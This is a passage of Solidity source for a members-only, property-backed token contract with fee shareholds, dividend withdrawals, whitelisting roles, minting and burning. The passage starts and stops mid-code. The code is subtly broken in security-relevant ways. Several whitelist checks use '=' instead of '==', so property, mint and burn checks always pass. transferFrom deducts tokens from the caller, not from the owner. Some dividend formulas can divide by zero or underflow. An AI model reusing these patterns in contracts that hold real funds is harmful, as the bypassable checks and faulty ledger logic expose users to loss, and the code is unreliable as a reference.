_dividends = existcryptodividendsOf(msg.sender); // update dividend tracker existcryptoTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawWHOAdividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = EwhoadividendsOf(msg.sender); // update dividend tracker whoaTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Withdraws all of the callers taxes earnings. */ function withdrawCrediblelYoudividends() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = EcredibleyoudividendsOf(msg.sender); // update dividend tracker credibleyouTotalWithdrawn_[_customerAddress] += _dividends; tokenBalanceLedger_[_customerAddress] += _dividends; // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 2% fee here as well. members only */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyMembers(msg.sender) public returns(bool) { if(_amountOfTokens > 0){ // make sure we have the requested tokens require(_amountOfTokens + (_amountOfTokens / 50) <= tokenBalanceLedger_[msg.sender] && _amountOfTokens >= 0 && _toAddress != msg.sender && members_[_toAddress] == true); //Exchange tokens tokenBalanceLedger_[_toAddress] = tokenBalanceLedger_[_toAddress] + _amountOfTokens; tokenBalanceLedger_[msg.sender] -= _amountOfTokens + (_amountOfTokens / 50); //Update Equity Rents updateEquityRents(_amountOfTokens); AmountCirculated_[msg.sender] += _amountOfTokens; emit Transfer(msg.sender, _toAddress, (_amountOfTokens + (_amountOfTokens / 50))); return true; } else { return false; } } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 2% fee here as well. members only */ function transferFrom(address from, address to, uint256 tokens) onlyMembers(msg.sender) public returns(bool) { if(tokens >= 0){ require(members_[to] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested tokens require(tokens + (tokens / 50) <= tokenBalanceLedger_[from] && tokens >= 0 && to != _customerAddress && from != to && tokens + (tokens / 50) <= _allowed[from][msg.sender] && msg.sender != from && transferingFromWallet_[msg.sender] == 0); transferingFromWallet_[msg.sender] = 1; //Exchange tokens tokenBalanceLedger_[to] = tokenBalanceLedger_[to] + tokens; tokenBalanceLedger_[msg.sender] -= tokens + (tokens / 50); //Reduce Approval Amount _allowed[from][msg.sender] -= tokens + (tokens / 50); emit Transfer(_customerAddress, to, (tokens + (tokens / 50))); transferingFromWallet_[msg.sender] = 0; return true; } else { return false; } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return _allowed[tokenOwner][spender]; } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 2% fee here as well. members only */ function clearTitle(uint256 _propertyValue, uint256 _amountOfTokens, address _clearFrom) onlyMembers(msg.sender) public returns(bool) { if((_amountOfTokens / 1e18) * 100 <= _propertyValue){ require(burnrequestwhitelist_[_clearFrom][workingBurnRequestid_[msg.sender]] == true && propertywhitelist_[_clearFrom][workingPropertyid_[msg.sender]] == true && _amountOfTokens <= tokenBalanceLedger_[_clearFrom] && _amountOfTokens >= 0); //Burn Tokens burnA(_propertyValue); tokenSupply_ -= _amountOfTokens; taxesfeeTotalHolds_ -= _propertyValue / 100; insurancefeeTotalHolds_ -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); maintencancefeeTotalHolds_ -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); waECOfeeTotalHolds_ -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); holdonefeeTotalHolds_ -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); holdtwofeeTotalHolds_ -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); holdthreefeeTotalHolds_ -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); // take tokens out of stockpile //Exchange tokens cevaBurnerStockpile_ -= ((propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100) * 1e18) - _amountOfTokens; tokenBalanceLedger_[msg.sender] -= _amountOfTokens; // burn fee shareholds taxesFeeSharehold_[msg.sender] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); insuranceFeeSharehold_[msg.sender] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); maintenanceFeeSharehold_[whoamaintenanceaddress_] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); waECOFeeSharehold_[msg.sender] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); holdoneSharehold_[msg.sender] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); holdtwoSharehold_[msg.sender] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); holdthreeSharehold_[msg.sender] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); rewardsSharehold_[msg.sender] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); techSharehold_[techaddress_] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); existholdingsSharehold_[existholdingsaddress_] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); existcryptoSharehold_[existcryptoaddress_] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); whoaSharehold_[whoaaddress_] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); credibleyouSharehold_[credibleyouaddress_] -= (propertyvalue_[_clearFrom][workingPropertyid_[msg.sender]] / 100); // returns bool true emit Burn(msg.sender, _amountOfTokens, _propertyValue); return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellTaxesFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= taxesFeeSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals taxesPreviousWithdrawn_[_toAddress] += (taxesFeeTotalWithdrawn_[_customerAddress] / taxesFeeSharehold_[_customerAddress]) * _amount; //Exchange sharehold taxesFeeSharehold_[_toAddress] += _amount; taxesFeeSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellInsuranceFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= insuranceFeeSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals insurancePreviousWithdrawn_[_toAddress] += (insuranceFeeTotalWithdrawn_[_customerAddress] / insuranceFeeSharehold_[_customerAddress]) * _amount; //Exchange sharehold insuranceFeeSharehold_[_toAddress] += _amount; insuranceFeeSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellMaintenanceFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= maintenanceFeeSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals maintenancePreviousWithdrawn_[_toAddress] += (maintenanceFeeTotalWithdrawn_[_customerAddress] / maintenanceFeeSharehold_[_customerAddress]) * _amount; //Exchange sharehold maintenanceFeeSharehold_[_toAddress] += _amount; maintenanceFeeSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellwaECOFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= waECOFeeSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals waECOPreviousWithdrawn_[_toAddress] += (waECOFeeTotalWithdrawn_[_customerAddress] / waECOFeeSharehold_[_customerAddress]) * _amount; //Exchange sharehold waECOFeeSharehold_[_toAddress] += _amount; waECOFeeSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellHoldOneFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= holdoneSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals holdonePreviousWithdrawn_[_toAddress] += (holdoneTotalWithdrawn_[_customerAddress] / holdoneSharehold_[_customerAddress]) * _amount; //Exchange sharehold holdoneSharehold_[_toAddress] += _amount; holdoneSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellHoldTwoFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= holdtwoSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals holdtwoPreviousWithdrawn_[_toAddress] += (holdtwoTotalWithdrawn_[_customerAddress] / holdtwoSharehold_[_customerAddress]) * _amount; //Exchange sharehold holdtwoSharehold_[_toAddress] += _amount; holdtwoSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellHoldThreeFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= holdthreeSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals holdthreePreviousWithdrawn_[_toAddress] += (holdthreeTotalWithdrawn_[_customerAddress] / holdthreeSharehold_[_customerAddress]) * _amount; //Exchange sharehold holdthreeSharehold_[_toAddress] += _amount; holdthreeSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellRewardsFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= rewardsSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals rewardsPreviousWithdrawn_[_toAddress] += (rewardsTotalWithdrawn_[_customerAddress] / rewardsSharehold_[_customerAddress]) * _amount; //Exchange sharehold rewardsSharehold_[_toAddress] += _amount; rewardsSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellTechFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= techSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals techPreviousWithdrawn_[_toAddress] += (techTotalWithdrawn_[_customerAddress] / techSharehold_[_customerAddress]) * _amount; //Exchange sharehold techSharehold_[_toAddress] += _amount; techSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellExistHoldingsFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) onlyMembers(_toAddress) public returns(bool) { if(_amount > 0){ //require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= existholdingsSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals existholdingsPreviousWithdrawn_[_toAddress] += (existholdingsTotalWithdrawn_[_customerAddress] / existholdingsSharehold_[_customerAddress]) * _amount; //Exchange sharehold existholdingsSharehold_[_toAddress] += _amount; existholdingsSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellExistCryptoFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= existcryptoSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals existcryptoPreviousWithdrawn_[_toAddress] += (existcryptoTotalWithdrawn_[_customerAddress] / existcryptoSharehold_[_customerAddress]) * _amount; //Exchange sharehold existcryptoSharehold_[_toAddress] += _amount; existcryptoSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellWHOAFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= whoaSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals whoaPreviousWithdrawn_[_toAddress] += (whoaTotalWithdrawn_[_customerAddress] / whoaSharehold_[_customerAddress]) * _amount; //Exchange sharehold whoaSharehold_[_toAddress] += _amount; whoaSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Transfer fee sharehold from the caller to a new holder. */ function sellCredibleYouFeeSharehold(address _toAddress, uint256 _amount) onlyMembers(msg.sender) public returns(bool) { if(_amount > 0){ require(members_[_toAddress] == true); // setup address _customerAddress = msg.sender; // make sure we have the requested sharehold require(_amount <= credibleyouSharehold_[_customerAddress] && _amount >= 0 && _toAddress != _customerAddress); //Update fee sharehold previous withdrawals credibleyouPreviousWithdrawn_[_toAddress] += (credibleyouTotalWithdrawn_[_customerAddress] / credibleyouSharehold_[_customerAddress]) * _amount; //Exchange sharehold credibleyouSharehold_[_toAddress] += _amount; credibleyouSharehold_[_customerAddress] -= _amount; return true; } else { return false; } } /** * Check and address to see if it has CEVA privileges or not */ function checkCEVA(address _identifier) public view returns(bool) { if(ceva_[_identifier] == true){ return true; } else { return false; } } /** * Check and address to see if it has member privileges */ function checkMember(address _identifier) public view returns(bool) { if(members_[_identifier] == true){ return true; } else { return false; } } /** * Check and address to see is its got founder developer privileges */ function checkFounderDeveloper(address _identifier) public view returns(bool) { if(founderdevelopers_[_identifier] == true){ return true; } else { return false; } } /** * Check and address to see if it has admin privileges */ function checkAdmin(address _identifier) public view returns(bool) { if(administrators[_identifier] == true){ return true; } else { return false; } } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * whitelist Admins admin only */ function AwhitelistAdministrator(address _identifier, bool _status) onlyAdministrator(msg.sender) public { require(msg.sender != _identifier); administrators[_identifier] = _status; emit AdminWhitelisted(msg.sender, _identifier, _status); } /** * Automation entrypoint to whitelist ceva_ admin only */ function AwhitelistCEVA(address _identifier, bool _status) onlyAdministrator(msg.sender) public { require(msg.sender != _identifier); ceva_[_identifier] = _status; numberofburnrequestswhitelisted_[msg.sender] = 0; numberofpropertieswhitelisted_[msg.sender] = 0; numberofmintingrequestswhitelisted_[msg.sender] = 0; emit CEVAWhitelisted(msg.sender, _identifier, _status); } function withdrawCEVABurnerStockpiledividends(uint256 _amountOfTokens) onlyCEVA(msg.sender) public { // setup data require(_amountOfTokens <= cevaBurnerStockpile_); // update dividend tracker cevaBurnerStockpile_ -= _amountOfTokens; cevaBurnerStockpileWithdrawn_ += _amountOfTokens; tokenBalanceLedger_[cevaaddress_] += _amountOfTokens; emit Transfer(msg.sender, msg.sender, _amountOfTokens); } /** * Whitelist a Property that has been confirmed on the site.. ceva only */ function AwhitelistMintRequest(address _OwnerAddress, bool _trueFalse, bytes32 _mintingRequestUniqueid) onlyCEVA(msg.sender) public returns(bool) { if(_mintingRequestUniqueid == workingMintRequestid_[msg.sender]){ require(msg.sender != _OwnerAddress); mintrequestwhitelist_[_OwnerAddress][_mintingRequestUniqueid] = _trueFalse; return true; } else { return false; } } /** * Whitelist a Property that has been confirmed on the site.. ceva only */ function AwhitelistBurnRequest(address _OwnerAddress, bool _trueFalse, bytes32 _burnrequestUniqueID) onlyCEVA(msg.sender) public returns(bool) { if(_burnrequestUniqueID == workingBurnRequestid_[msg.sender]){ require(msg.sender != _OwnerAddress); burnrequestwhitelist_[_OwnerAddress][_burnrequestUniqueID] = _trueFalse; return true; } else { return false; } } /** * Whitelist a Minting Request that has been confirmed on the site.. ceva only */ function AwhitelistProperty(address _OwnerAddress, bool _trueFalse, bytes32 _propertyUniqueID) onlyCEVA(msg.sender) public returns(bool) { if(_trueFalse = true){ require(workingPropertyid_[msg.sender] == _propertyUniqueID); propertywhitelist_[_OwnerAddress][_propertyUniqueID] = _trueFalse; emit PropertyWhitelisted(msg.sender, _propertyUniqueID, _trueFalse); return true; } else { return false; } } /** * Whitelist a Minting Request that has been confirmed on the site.. ceva only */ function AsetWhitelistedPropertyValue(address _OwnerAddress, bytes32 _propertyUniqueID, uint256 _propertyValue) onlyCEVA(msg.sender) public returns(uint256) { require(propertywhitelist_[_OwnerAddress][_propertyUniqueID] = true && _propertyValue >= 0); if(_OwnerAddress != msg.sender){ address _customerAddress = msg.sender; numberofmintingrequestswhitelisted_[msg.sender] += 1; emit PropertyValuation(_customerAddress, _propertyUniqueID, _propertyValue); return _propertyValue; } else { numberofmintingrequestswhitelisted_[msg.sender] -= 1; _propertyValue = 0; return _propertyValue; } } /** * Whitelist a Minting Request that has been confirmed on the site.. ceva only */ function AsetworkingPropertyid(address _OwnerAddress, bytes32 _propertyUniqueID) onlyFounderDevelopers(msg.sender) public returns(bool) { require(propertywhitelist_[_OwnerAddress][_propertyUniqueID] = true); if(_OwnerAddress != msg.sender){ workingPropertyid_[_OwnerAddress] = _propertyUniqueID; return true; } else { return false; } } /** * Whitelist a Minting Request that has been confirmed on the site.. ceva only */ function AsetworkingMintingRequest(address _OwnerAddress, bytes32 _mintingRequestUniqueid) onlyFounderDevelopers(msg.sender) public returns(bool) { require(mintrequestwhitelist_[_OwnerAddress][_mintingRequestUniqueid] = true); if(_OwnerAddress != msg.sender){ workingMintRequestid_[_OwnerAddress] = _mintingRequestUniqueid; return true; } else { return false; } } /** * Whitelist a Minting Request that has been confirmed on the site.. ceva only */ function Asetworkingburnrequestid(address _OwnerAddress, bytes32 _propertyUniqueID, uint256 _propertyValue) onlyFounderDevelopers(msg.sender) public returns(bytes32) { require(burnrequestwhitelist_[_OwnerAddress][_propertyUniqueID] = true); if(_OwnerAddress != msg.sender){ workingPropertyid_[_OwnerAddress] = _propertyUniqueID; numberofmintingrequestswhitelisted_[msg.sender] += 1; emit PropertyValuation(msg.sender, _propertyUniqueID, _propertyValue); return _propertyUniqueID; } else { numberofmintingrequestswhitelisted_[msg.sender] -= 1; _propertyValue = 0; return _propertyUniqueID; } } function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) { uint8 i = 0; while(i < 32 && _bytes32[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && _bytes32[i] != 0; i++) { bytesArray[i] = _bytes32[i]; } return string(bytesArray); } function bStringToBytes32(string memory source) public pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } /** * Whitelist a Founder Developer ceva only */ function AWhitelistFounderDeveloper(address _identifier, bool _status) onlyCEVA(msg.sender) public { founderdevelopers_[_identifier] = _status; numberofburnrequestswhitelisted_[msg.sender] = 0; numberofpropertieswhitelisted_[msg.sender] = 0; numberofmintingrequestswhitelisted_[msg.sender] = 0; emit FounderDeveloperWhitelisted(msg.sender, _identifier, _status); } /*---------- FOUNDER DEVELOPER ONLY FUNCTIONS ----------*/ // Mint an amount of tokens to an address // using a whitelisted minting request unique ID founder developer only function _mint(uint256 _FounderDeveloperFee, address _toAddress, address _holdOne, address _holdTwo, address _holdThree, uint256 _propertyValue, bytes32 _propertyUniqueID, bytes32 _mintingRequestUniqueid) onlyFounderDevelopers(msg.sender) public { if(_propertyValue >= 100){ // data setup uint256 _amountOfTokens = (_propertyValue * 1e18) / 100; require(members_[_toAddress] == true && _FounderDeveloperFee >= 20001 && _FounderDeveloperFee <= 100000 && (_amountOfTokens + tokenSupply_) > tokenSupply_ && msg.sender != _toAddress && _propertyUniqueID == workingPropertyid_[msg.sender] && _mintingRequestUniqueid == workingMintRequestid_[msg.sender] && _propertyValue == propertyvalue_[_toAddress][_propertyUniqueID]); // add tokens to the pool tokenSupply_ = tokenSupply_ + _amountOfTokens; updateHoldsandSupply(_amountOfTokens); // add to burner stockpile cevaBurnerStockpile_ += (_amountOfTokens / 16667) * 100; // whoa fee whoafeeBalanceLedger_ = whoafeeBalanceLedger_ + _amountOfTokens; // credit founder developer fee tokenBalanceLedger_[msg.sender] += (_amountOfTokens / _FounderDeveloperFee) * 1000; //credit Envelope Fee Shareholds creditFeeSharehold(_amountOfTokens, _toAddress, _holdOne, _holdTwo, _holdThree); // credit tech feeSharehold_ ; uint256 _TechFee = (_amountOfTokens / 25000) * 100; techfeeBalanceLedger_ = techfeeBalanceLedger_ + _TechFee; // fire event // add tokens to the _toAddress uint256 _cevabTransferfees = (_amountOfTokens / 333334) * 10000; uint256 _Fee = (_amountOfTokens / _FounderDeveloperFee) * 1000; tokenBalanceLedger_[_toAddress] = tokenBalanceLedger_[_toAddress] + (_amountOfTokens - _cevabTransferfees); tokenBalanceLedger_[_toAddress] -= _Fee; tokenBalanceLedger_[_toAddress] -= _TechFee; emit Transfer(msg.sender, _toAddress, _amountOfTokens); mintingDepositsOf_[_toAddress] += _amountOfTokens; } else { return; } } function AworkingPropertyIDOf(address _user) onlyFounderDevelopers(msg.sender) public view returns(bytes32) { return workingPropertyid_[_user]; } function AworkingBurnRequestIDOf(address _user) onlyFounderDevelopers(msg.sender) public view returns(bytes32) { return workingBurnRequestid_[_user]; } function AworkingMintIDOf(address _user) onlyFounderDevelopers(msg.sender) public view returns(bytes32) { return workingMintRequestid_[_user]; } /** * whitelist a member founder developer only */ function AWhitelistMember(address _identifier, bool _status) onlyFounderDevelopers(msg.sender) public { require(msg.sender != _identifier); members_[_identifier] = _status; emit MemberWhitelisted(msg.sender, _identifier, _status); } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Retrieve the tokens owned by the caller. */ function TokensNoDecimals() view public returns(uint256) { address _customerAddress = msg.sender; uint256 _tokens = (balanceOf(_customerAddress) / 1e18); if(_tokens >= 1){ return _tokens; } else { return 0; } } function balanceOf(address _owner) view public returns(uint256) { return tokenBalanceLedger_[_owner]; } function EtaxesdividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(taxesFeeSharehold_[_customerAddress] == 0){ return 0; } else { _dividendPershare = (taxesfeeBalanceLedger_ / taxesfeeTotalHolds_); return (uint256) ((_dividendPershare * taxesFeeSharehold_[_customerAddress]) - (taxesFeeTotalWithdrawn_[_customerAddress] + taxesPreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function EtaxesShareholdOf(address _customerAddress) view public returns(uint256) { if(taxesFeeSharehold_[_customerAddress] == 0){ return 0; } else { return taxesFeeSharehold_[_customerAddress]; } } /** * Retrieve the insurance dividend balance of any single address. */ function EinsurancedividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(insuranceFeeSharehold_[_customerAddress] == 0){ return 0; } else { _dividendPershare = (insurancefeeBalanceLedger_ / insurancefeeTotalHolds_); return (uint256) ((_dividendPershare * insuranceFeeSharehold_[_customerAddress]) - (insuranceFeeTotalWithdrawn_[_customerAddress] + insurancePreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function EinsuranceShareholdOf(address _customerAddress) view public returns(uint256) { if(insuranceFeeSharehold_[_customerAddress] == 0){ return 0; } else { return insuranceFeeSharehold_[_customerAddress]; } } /** * Retrieve the maintenance dividend balance of any single address. */ function EmaintenancedividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(maintenanceFeeSharehold_[_customerAddress] == 0){ return 0; } else { _dividendPershare = (maintenancefeeBalanceLedger_ / maintencancefeeTotalHolds_); return (uint256) ((_dividendPershare * maintenanceFeeSharehold_[_customerAddress]) - (maintenanceFeeTotalWithdrawn_[_customerAddress] + maintenancePreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function EmaintenanceShareholdOf(address _customerAddress) view public returns(uint256) { if(maintenanceFeeSharehold_[_customerAddress] == 0){ return 0; } else { return maintenanceFeeSharehold_[_customerAddress]; } } /** * Retrieve the Wealth Architect ECO Register 1.2 dividend balance of any single address. */ function EwaECOdividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(waECOFeeSharehold_[_customerAddress] == 0){ return 0; } else { _dividendPershare = (waECOfeeBalanceLedger_ / waECOfeeTotalHolds_); return (uint256) ((_dividendPershare * waECOFeeSharehold_[_customerAddress]) - (waECOFeeTotalWithdrawn_[_customerAddress] + waECOPreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function EwaECOShareholdOf(address _customerAddress) view public returns(uint256) { if(waECOFeeSharehold_[_customerAddress] == 0){ return 0; } else { return waECOFeeSharehold_[_customerAddress]; } } /** * Retrieve the hold one dividend balance of any single address. */ function EholdonedividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(holdoneSharehold_[_customerAddress] == 0){ return 0; } else { _dividendPershare = (holdonefeeBalanceLedger_ / holdonefeeTotalHolds_); return (uint256) ((_dividendPershare * holdoneSharehold_[_customerAddress]) - (holdoneTotalWithdrawn_[_customerAddress] + holdonePreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function EholdoneShareholdOf(address _customerAddress) view public returns(uint256) { if(holdoneSharehold_[_customerAddress] == 0){ return 0; } else { return holdoneSharehold_[_customerAddress]; } } /** * Retrieve the hold two dividend balance of any single address. */ function EholdtwodividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(holdtwoSharehold_[_customerAddress] == 0){ return 0; } else { _dividendPershare = (holdtwofeeBalanceLedger_ / holdtwofeeTotalHolds_); return (uint256) ((_dividendPershare * holdtwoSharehold_[_customerAddress]) - (holdtwoTotalWithdrawn_[_customerAddress] + holdtwoPreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function EholdtwoShareholdOf(address _customerAddress) view public returns(uint256) { if(holdtwoSharehold_[_customerAddress] == 0){ return 0; } else { return holdtwoSharehold_[_customerAddress]; } } /** * Retrieve the hold three dividend balance of any single address. */ function EholdthreedividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(holdthreeSharehold_[_customerAddress] == 0){ return 0; } else { _dividendPershare = (holdthreefeeBalanceLedger_ / holdthreefeeTotalHolds_); return (uint256) ((_dividendPershare * holdthreeSharehold_[_customerAddress]) - (holdthreeTotalWithdrawn_[_customerAddress] + holdthreePreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function EholdthreeShareholdOf(address _customerAddress) view public returns(uint256) { if(holdthreeSharehold_[_customerAddress] == 0){ return 0; } else { return holdthreeSharehold_[_customerAddress]; } } /** * Retrieve the rewards dividend balance of any single address. */ function ErewardsdividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(rewardsSharehold_[_customerAddress] == 0){ return 0; } else { _dividendPershare = (RewardsfeeBalanceLedger_ / RewardsfeeTotalHolds_); return (uint256) ((_dividendPershare * rewardsSharehold_[_customerAddress]) - (rewardsTotalWithdrawn_[_customerAddress] + rewardsPreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], AmountCirculated_[_customerAddress]); } } /** * Retrieve the taxes dividend balance of any single address. */ function ErewardsShareholdOf(address _customerAddress) view public returns(uint256) { if(rewardsSharehold_[_customerAddress] == 0){ return 0; } else { return rewardsSharehold_[_customerAddress]; } } /** * Retrieve the tech dividend balance of any single address. */ function EtechdividendsOf(address _customerAddress) view public returns(uint256) { uint256 _dividendPershare; if(techfeeTotalHolds_ == 0){ return 0; } else { _dividendPershare = (techfeeBalanceLedger_ / techfeeTotalHolds_); return (uint256) ((_dividendPershare * techSharehold_[_customerAddress]) - (techTotalWithdrawn_[_customerAddress] + techPreviousWithdrawn_[_customerAddress])) / calulateAmountQualified(mintingDepositsOf_[_customerAddress], 